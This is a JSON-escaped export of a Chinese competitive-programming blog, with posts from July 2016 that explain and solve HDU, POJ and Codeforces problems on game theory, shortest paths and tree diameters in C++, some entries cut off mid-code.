… xor A(n) \u003e 0; 把c表示成二进制，记它的二进制数的最高位为第p位，则必然存在一个A(t)(注：我觉得应该是必然存在奇数个),它二进制的第p位也是1。（否则，若所有的A(i)的第p位都是0，这与c的第p位就也为0矛盾）。 那么我们把x = A(t) xor c,则得到x \u003c A(t).这是因为既然A(t)的第p位与c的第p位同为1,那么x的第p位变为0,而高于p的位并没有改变。所以x \u003c A(t).而 A(1) xor A(2) xor … xor x xor … xor A(n)　（需要注意的是，这里是没有A(t)这一项的，前面之所以要说明x\u003cA(t)，表达的意思是，之前是A(t)，现在取了一个正数A(t)-x到x） = A(1) xor A(2) xor … xor A(t) xor c xor … xor A(n) = A(1) xor A(2) xor… xor A(n) xor A(1) xor A(2) xor … xor A(n) = 0 这就是说从A(t)堆中取出 A(t) - x 根火柴后状态就会从S态变为T态。证毕","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/nim/","section":"Posts","summary":"参考资料　（后面的证明写错了，差评，不要看，看图就好了） 1 1. 题目1：今有若干堆火柴，两人依次从中拿取，规定每次只能从一堆中取若干根，","tags":["nim游戏","博弈论"],"title":"nim游戏以及证明过程","type":"post"},{"categories":["ACM"],"content":"hdu 2147 题目链接 题意：一个n*m的方格，有一个棋子初始在右上角（１，m）,每次可以将棋子向下或者向左或者向左下移动**一个格子，**不能移出边界，当无路可走的时候就输了，问谁存在必赢策略。 思路：画n点p点。。。左下肯定是p　然后最后发现　n%2==1\u0026\u0026m%2==1的时候必输，否则必赢。 然后因为把m%2谢成名m\u00262 WA了好多发呵呵呵呵呵呵。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月19日 星期二 20时09分37秒 4File Name :code/hdu/2147.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 while (scanf(\"%d%d\",\u0026n,\u0026m)!=EOF) 41 { 42 if (n==0\u0026\u0026m==0) break; 43 if (n%2==1\u0026\u0026m\u00262==1) 44 { 45 puts(\"What a pity!\"); 46 } 47 else 48 { 49 puts(\"Wonderful!\"); 50 } 51 } 52 53 #ifndef ONLINE_JUDGE 54 fclose(stdin); 55 #endif 56 return 0; 57}","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/hdu-2147/","section":"Posts","summary":"hdu 2147 题目链接 题意：一个n*m的方格，有一个棋子初始在右上角（１，m）,每次可以将棋子向下或者向左或者向左下移动**一个格子，**不能移出边界，当无路可走的时候就输了，问谁存在必赢策略。","tags":["博弈论","巴什博奕"],"title":"hdu 2147 kiki's game (巴什博奕)","type":"post"},{"categories":["ACM"],"content":"hdu 1846 题目链接 题意：有n个石子，每次最多取m个，最少取１个，如果没有石子可取就输了。给出n,m，两个人都很聪明，问先手和后手谁赢。。 思路： 首先定义几个概念： p点：即必败点，某玩家位于此点，只要对方无失误，则必败 **　N点 ：即必胜点，某玩家位于此点，只要自己无失误，则必胜。** ** 一、 所有终结点都是必败点P（这道题目中，轮到谁取石子，还剩0个石子的时候，此人无石子可取，就输了）；** ** 二、所有一步能走到必败点P的就是N点；（这里是_存在一种_情况可以走到p点即可）** ** 三、通过一步操作只能到N点的就是P点；　（这里是_所有_的情况都只能走到n点）** 那么当m=3的时候，则有： x ：0 1 2 3 4 5 6 7 8 9 10… pos：P N N N P N N N P N N … １，２，３为n点是因为一步可以走到p点0,直观得说就是剩余１，２，３个石子的时候可以一次拿走。 ４为p点是因为，不管怎么走，下一步一定是处于１，２，３这三个n点的，因此４是p点。 因此我们可以得出结论：n%(m+1)==0的时候，后手赢，否则先手赢。 （之前遇到的时候只记了结论，不清楚为什么，这下明白了orz 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月19日 星期二 19时41分16秒 4File Name :code/hdu/1846.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 int T; 40 cin\u003e\u003eT; 41 while (T--) 42 { 43 scanf(\"%d%d\",\u0026n,\u0026m); 44 if (n%(m+1)==0) 45 { 46 puts(\"second\"); 47 } 48 else 49 { 50 puts(\"first\"); 51 } 52 } 53 54 #ifndef ONLINE_JUDGE 55 fclose(stdin); 56 #endif 57 return 0; 58}","date":"2016-07-19","externalUrl":null,"permalink":"/2016/07/hdu-1846-brave-game/","section":"Posts","summary":"hdu 1846 题目链接 题意：有n个石子，每次最多取m个，最少取１个，如果没有石子可取就输了。给出n,m，两个人都很聪明，问先手和后手谁赢。。","tags":["博弈论","巴什博奕"],"title":"hdu 1846 Brave Game　（巴什博奕）","type":"post"},{"categories":["ACM"],"content":"cf689C 题意：给出一个m。。问恰好使得不超过某个n的a*b^3（a,b是正整数）的方案数为m的n是多少。。。 思路：暴力+二分。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月18日 星期一 15时58分55秒 4File Name :code/2016whust/G.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL m,n; 34LL ans; 35LL cal( LL x) 36{ 37 LL res = 0LL; 38 for ( LL i =2 ; i * i * i \u003c= x ; i++) 39 res+=x/(i*i*i); 40 return res; 41} 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 freopen(\"code/in.txt\",\"r\",stdin); 46 #endif 47 48 cin\u003e\u003em; 49 n = 0 ; 50 51 LL cur = 1LL\u003c\u003c60; 52// cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003cendl; 53 while (cur!=0LL) 54 { 55 LL tmp = cal(n+cur); 56 if (tmp\u003cm) n +=cur; 57 58 cur \u003e\u003e=1LL; 59 } 60 n++; 61// cout\u003c\u003c\" n:\"\u003c\u003cn\u003c\u003cendl; 62 if (cal(n)!=m) ans = -1; 63 else ans = n; 64 65 cout\u003c\u003cans\u003c\u003cendl; 66 67 68 #ifndef ONLINE_JUDGE 69 fclose(stdin); 70 #endif 71 return 0; 72}","date":"2016-07-18","externalUrl":null,"permalink":"/2016/07/cf689c/","section":"Posts","summary":"cf689C 题意：给出一个m。。问恰好使得不超过某个n的a*b^3（a,b是正整数）的方案数为m的n是多少。。。","tags":["binary search","brute force"],"title":"whust 2016 warm up G ||codeforces 689C. Mike and Chocolate Thieves","type":"post"},{"categories":["ACM"],"content":"cf689B题目链接 题意：n点。。点i到点j的代价是|i-j|..给出n条近路。。。a[i]表示点i到a[i]的代价为1（注意近路不一定就近） 思路：一开始建边卡了一下。。。实际上只要连相邻的就好了。。。然后边表只开了2N蠢哭。。。实际上应该3M…因为连相邻的边是双向的。。。再加上近路的单向。。。然后spfa就好了。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月18日 星期一 13时33分18秒 4File Name :code/2016whust/F.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n; 35int a[N]; 36bool inq[N]; 37int d[N]; 38int head[N]; 39int cnt; 40 41 42struct Edge 43{ 44 int v; 45 int w; 46 int nxt; 47}edge[8*N]; 48 49void addedge( int u,int v,int w) 50{ 51 edge[cnt].v = v; 52 edge[cnt].w = w; 53 edge[cnt].nxt = head[u]; 54 head[u] = cnt; 55 cnt++; 56} 57void init() 58{ 59 ms(head,-1); 60 cnt = 0 ; 61} 62void spfa( int s) 63{ 64 ms(inq,false); 65 ms(d,0x3f); 66 queue\u003cint\u003eq; 67 q.push(s); 68 inq[s] = true; 69 d[s] = 0; 70 71 while (!q.empty()) 72 { 73 int u = q.front(); 74//\u003c cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 75 q.pop(); 76 inq[u] = false; 77 78 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 79 { 80 int v = edge[i].v; 81 int w = edge[i].w; 82 if (d[v]\u003ed[u]+w) 83 { 84 d[v] = d[u] + w; 85 if (inq[v]) continue; 86 inq[v] = true; 87 q.push(v); 88 } 89// if (a[u]==v\u0026\u0026d[v]\u003e1) 90// { 91// d[v] = 1; 9","date":"2016-07-18","externalUrl":null,"permalink":"/2016/07/cf689b/","section":"Posts","summary":"cf689B题目链接 题意：n点。。点i到点j的代价是|i-j|..给出n条近路。。。a[i]表示点i到a[i]的代价为1（注意近路不一定就近）","tags":["spfa","最短路"],"title":"whust 2016 warm up E ||codeforces 689 B. Mike and Shortcuts (spfa)","type":"post"},{"categories":["ACM"],"content":"cf689A 思路：一个老式的电话键盘。。。。给出一个拨号的移动路径。。。问这个路径是否唯一。 思路：如果唯一就说明。。。不能平移。。。否则不唯一。。 平移可以上下左右。。所以先写4个常亮数组。。。标记平移后的结果。。。设置不合法位就可以了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月18日 星期一 12时56分28秒 4File Name :code/2016whust/E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33 34const int up[15]={8,-1,-1,-1,1,2,3,4,5,6}; 35const int down[15]={-1,4,5,6,7,8,9,-1,0,-1}; 36const int l[15]={-1,-1,1,2,-1,4,5,-1,7,8}; 37const int r[15]={-1,2,3,-1,5,6,-1,8,9,-1}; 38int n; 39string st; 40 41bool solve() 42{ 43 bool flag = true; 44 for ( int i = 0 ; i \u003c n ; i++) 45 { 46 int x = st[i]-'0'; 47// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" x+up[x]\"\u003c\u003cx+up[x]\u003c\u003cendl; 48 x = up[x]; 49 if (x==-1) 50 { 51 flag = false; 52// cout\u003c\u003c\"uuuuu\"\u003c\u003cendl; 53 break; 54 } 55 } 56 if (flag) return true; 57 58 flag = true; 59 for ( int i = 0 ; i \u003c n ; i++) 60 { 61 int x = st[i]-'0'; 62 x = down[x]; 63 if (x==-1) 64 { 65 flag = false; 66// cout\u003c\u003c\"ddd\"\u003c\u003cendl; 67 break; 68 } 69 } 70 if (flag) return true; 71 72 flag = true; 73 for ( int i = 0 ; i \u003c n; i++) 74 { 75 int x = st[i]-'0'; 76 x = l[x]; 77 if (x==-1) 78 { 79 flag = false; 80// cout\u003c\u003c\"lll\"\u003c\u003cendl; 81 break; 82 } 83 } 84 85 if (flag) return true; 86 ","date":"2016-07-18","externalUrl":null,"permalink":"/2016/07/cf689a/","section":"Posts","summary":"cf689A 思路：一个老式的电话键盘。。。。给出一个拨号的移动路径。。。问这个路径是否唯一。","tags":["模拟"],"title":"whust 2016 warm up E||codeforces 689 A. Mike and Cellphone (模拟)","type":"post"},{"categories":["ACM"],"content":"cf682C题目链接 题意：给一棵树。。有点权和边权。。。如果一个点v的子树中存在某点u,满足dis(u,v)\u003ea[u]，那么点v就非常sad… dis(u,v)表示点u到v的距离。。。a[u]是u的点权。。现在问最少要删除多少个叶子节点才能使得没有点节点感到sad.. 思路：dfs一下。。。需要注意的是边权有负数。。。所以类似于区间的最大连续区间和。。。我们也也可以维护在树上的最大连续和。。。只需要如果当前为负就变成0即可。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月18日 星期一 14时27分58秒 4File Name :code/2016whust/C.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,long long \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32LL a[N]; 33LL sum[N]; 34bool vis[N]; 35vector \u003c pi\u003e edge[N]; 36int ans; 37int n; 38void dfs( int u,int pre,LL d) 39{ 40 if (d\u003ea[u]) return ; 41 ans++; 42 int siz = edge[u].size(); 43 for ( int i = 0 ; i \u003c siz ; i++) 44 { 45 int v = edge[u][i].fst; 46 LL w = edge[u][i].sec; 47 if (v==pre) continue; 48 dfs(v,u,w+d\u003e0?w+d:0); 49 } 50} 51int main() 52{ 53 #ifndef ONLINE_JUDGE 54 freopen(\"code/in.txt\",\"r\",stdin); 55 #endif 56 cin\u003e\u003en; 57 for ( int i = 1 ; i \u003c= n ; i++) edge[i].clear(); 58 ms(sum,0); 59 for ( int i = 1 ; i \u003c= n ; i++) 60 { 61 scanf(\"%lld\",\u0026a[i]); 62 } 63 for ( int i = 2 ; i \u003c= n ; i++) 64 { 65 int p; 66 LL c; 67 scanf(\"%d%lld\",\u0026p,\u0026c); 68 edge[i].push_back(make_pair(p,c)); 69 edge[p].push_back(make_pair(i,c)); 70 } 71 dfs(1,-1,0); 72 cout\u003c\u003cn-ans\u003c\u003cendl","date":"2016-07-18","externalUrl":null,"permalink":"/2016/07/cf682c/","section":"Posts","summary":"cf682C题目链接 题意：给一棵树。。有点权和边权。。。如果一个点v的子树中存在某点u,满足dis(u,v)\u003ea[u]，那么点v就非常sad…","tags":["最大连续和","树形dp"],"title":"whust 2016 warm up C ||codeforces 682 C. Alyona and the Tree (最大连续和,树形dp)","type":"post"},{"categories":["ACM"],"content":"cf682B题目链接 题意：给出n个数。。每个数可以任意减小到一个正整数。。。问进行恰当的操作后。。。最小的没有出现的正整数的最大可能取值。。 思路：傻逼题。。。直接离散化。。。。注意不能超过初始。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月18日 星期一 12时43分41秒 4File Name :code/2016whus/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int b[N]; 35int a[N]; 36int n; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 cin\u003e\u003en; 44 ms(a,0); 45 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 46 sort(a+1,a+n+1); 47 int cnt = 0 ; 48 for ( int i = 1 ; i \u003c= n ; i++) 49 { 50 if (cnt+1\u003c=a[i]) cnt++; 51 b[i] = cnt; 52 } 53 54 55// for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003cb[i]\u003c\u003cendl; 56 cout\u003c\u003cb[n]+1\u003c\u003cendl; 57 #ifndef ONLINE_JUDGE 58 fclose(stdin); 59 #endif 60 return 0; 61}","date":"2016-07-18","externalUrl":null,"permalink":"/2016/07/cf682b/","section":"Posts","summary":"cf682B题目链接 题意：给出n个数。。每个数可以任意减小到一个正整数。。。问进行恰当的操作后。。。最小的没有出现的正整数的最大可能取值。。","tags":["离散化"],"title":"whust 2016 warm up ||codeforces 682 B. Alyona and Mex (离散化)","type":"post"},{"categories":["ACM"],"content":"cf682A题目链接 题意：两个数组，分别为1..n和1..m。。。从两个数组中各取一个，问和能被5整除的方案数。。。 思路：傻逼题。。。统计%5。。。然后乘法原理。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月18日 星期一 12时32分22秒 4File Name :code/2016whust/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int n,m; 35LL a[N],b[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 cin\u003e\u003en\u003e\u003em; 43 ms(a,0); 44 ms(b,0); 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 int x = i % 5; 48 a[x]++; 49 } 50 for ( int i = 1 ; i \u003c= m ; i++) 51 { 52 int x = i % 5; 53 b[x]++; 54 } 55 LL ans = 0; 56 ans = a[0]*b[0]+a[1]*b[4]+a[2]*b[3]+a[3]*b[2]+a[4]*b[1]; 57 cout\u003c\u003cans\u003c\u003cendl; 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2016-07-18","externalUrl":null,"permalink":"/2016/07/cf682a/","section":"Posts","summary":"cf682A题目链接 题意：两个数组，分别为1..n和1..m。。。从两个数组中各取一个，问和能被5整除的方案数。。。","tags":["math","计数问题"],"title":"whust2016 warm up A ||codeforces 682 A. Alyona and Numbers (计数问题，水)","type":"post"},{"categories":["ACM"],"content":"hdu 4123 题目链接 题意：一棵树，定义d[i]为点i到树上某点的最大距离。。。给出若干查询，每个查询一个x,问最多能有多少点满足这些点中，最大的d与最小的d的差小于等于x.要求这些点的编号必须是连续的。 思路：可以三遍bfs处理出所有点的d… 由于不能排序。。。所以就是尺取+rmq…. 然而神Tm TLE….. 这复杂度还TLe… 结果最后发现是。。。log运算的常数太大被卡。。。 所以做法是先预处理一下。。。嗯。。。。 珍爱生命，远离log! # 珍爱生命，远离log! # 珍爱生命，远离log! # 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月17日 星期日 19时37分55秒 4File Name :code/hdu/4123.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003ccmath\u003e 15#include \u003cstring\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26#define log2 0.693147 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1E5+7; //双向边。。。 33int n,Q; 34int head[N]; 35int d[5][N]; 36bool vis[N]; 37int ans; 38int cnt; 39int dp[N][30],dp2[N][30]; 40int beg,lst; 41int LOG[N+10]; 42struct Edge 43{ 44 int v; 45 int w; 46 int nxt; 47}edge[N]; 48void addedge( int u,int v,int w) 49{ 50 edge[cnt].v = v; 51 edge[cnt].w = w; 52 edge[cnt].nxt = head[u]; 53 head[u] = cnt; 54 cnt++; 55} 56void rmq_init() 57{ 58 for ( int i = 1 ; i \u003c= n ; i++) 59 dp[i][0] = dp2[i][0] = d[0][i]; 60 for ( int j = 1 ; (1\u003c\u003cj)\u003c=n; j++) 61 for ( int i = 1 ; i + (1\u003c\u003cj) -1 \u003c= n ; i++) 62 { 63 dp[i][j] = max(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 64 dp2[i][j] = min(dp2[i][j-1],dp2[i+(1\u003c\u003c(j-1))][j-1]); 65 } 66} 67int rmq( int l,int r) 68{ 69 if (l\u003er) return 0; 70int k = log(doub","date":"2016-07-17","externalUrl":null,"permalink":"/2016/07/hdu-4123/","section":"Posts","summary":"hdu 4123 题目链接 题意：一棵树，定义d[i]为点i到树上某点的最大距离。。。给出若干查询，每个查询一个x,问最多能有多少点满足这些点中，最大的d与最小的d的差小于等于x.要求这些点的编号必须是连续的。","tags":["rmq","尺取法","树的直径"],"title":"hdu 4123 Bob’s Race (树的直径+尺取+rmq)(珍爱生命，远离log)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意:一棵树。。然后初始两个推雪机在点s,问如何选择路径使得处理完所有边上的积雪所耗费的汽油最少（走过一条有雪的边和一条没雪的边耗费的汽油一样） 思路：很容易想到，我们应该尽可能不走已经被清理过雪了的边，因为这样很浪费。。。这样不难想到应该是和树的直径有关。但是初始的位置是给定的。。。怎么办？突然发现由于是给了两个推雪机。。所以其实相当于。。。只有一个推雪机\u0026我们可以从任意位置开始推雪。。。第二个问题是。。。对于不在直径上的边。。我们怎么算cost?解决办法是读边的时候进行记录。。。然后求直径的时候记录路径。。。对于一条边。。。只要有一个点不在直径上。。。那么这条边的代价就是2倍。。。 1A蛤蛤蛤 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月17日 星期日 19时04分49秒 4File Name :code/poj/1849.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34vector \u003c pi \u003e edge[N]; 35int n,s; 36int lst; 37int beg; 38int d[N]; 39bool vis[N]; 40bool onpath[N]; 41int path[N]; 42int ans; 43 44struct Edge 45{ 46 int u,v,w; 47 48}e[N]; 49void init( int n) 50{ 51 for ( int i = 1 ; i \u003c= n ; i++) edge[i].clear(); 52 ms(path,-1); 53 ms(onpath,false); 54} 55 56void bfs( int s) 57{ 58 ms(d,0); 59 ms(vis,false); 60 queue\u003cint\u003eq; 61 q.push(s); 62 vis[s] = true; 63 64 while (!q.empty()) 65 { 66 int u = q.front(); 67 q.pop(); 68 69 int siz = edge[u].size(); 70 71 for ( int i = 0 ;i \u003c siz; i++) 72 { 73 int v = edge[u][i].fst; 74 int w = edge[u][i].sec; 75 if (vis[v]) continue; 76 path[v] = u; 77 vis[v] = true; 78 d[v] = d[u] + w; 79 q.push(v); 80","date":"2016-07-17","externalUrl":null,"permalink":"/2016/07/poj1849/","section":"Posts","summary":"题目链接 题意:一棵树。。然后初始两个推雪机在点s,问如何选择路径使得处理完所有边上的积雪所耗费的汽油最少（走过一条有雪的边和一条没雪的边耗费的汽油一样）","tags":["树的直径"],"title":"POJ 1849 Two (树的直径)","type":"post"},{"categories":["ACM"],"content":"hdu3873题目链接 题意：n个点的图。。。每个点可能被若干其他点保护。。。被保护的意思是。。。如果想访问某个点。。那么必须先访问保护该点的所有点。。。问从点1到点n的最小代价。。 思路：。。一开始写了spfa。。。然后一脸懵逼。。。因为我第一次访问某个点的时候无法保证距离是最短的。。。所以还是上dij吧。。。 然后dij写得比较少。。。不是很熟练。。参考了这篇题解参考题解 思路倒是不难想，我在写spfa的时候也是这样想法，然后试图记录路径递归来搞。。。。。然而并不可以2333 也是第一次遇到带限制条件的最短路。。。还是多积累吧。。。 哦对了。。。权值比较大。。。要记得开long long 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月15日 星期五 00时32分14秒 4File Name :code/hdu/3873.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c long long ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E3+7; 34const int M=7E4+7; 35int n,m; 36int cnt; 37int head[N]; 38int in[N]; //in[i]表示点i被几个点保护。。。 39vector \u003cint\u003eprec[N]; 40LL d[N]; 41bool vis[N]; 42LL maxt[N]; 43struct Edge 44{ 45 int v; 46 LL w; 47 int nxt; 48}edge[M]; 49 50 51void init() 52{ 53 ms(head,-1); 54 ms(in,0); 55 cnt = 0 ; 56 for ( int i = 1 ; i \u003c= n ; i++) prec[i].clear(); 57} 58void addedge( int u,int v,int w) 59{ 60 edge[cnt].v = v; 61 edge[cnt].w = w; 62 edge[cnt].nxt = head[u]; 63 head[u]=cnt; 64 cnt++; 65} 66 67LL dij( int s) 68{ 69 priority_queue\u003cpi,vector\u003cpi\u003e,greater\u003cpi\u003e \u003eq; 70 ms(d,0x3f); 71 ms(vis,false); 72 ms(maxt,0); 73 74 d[s] = 0 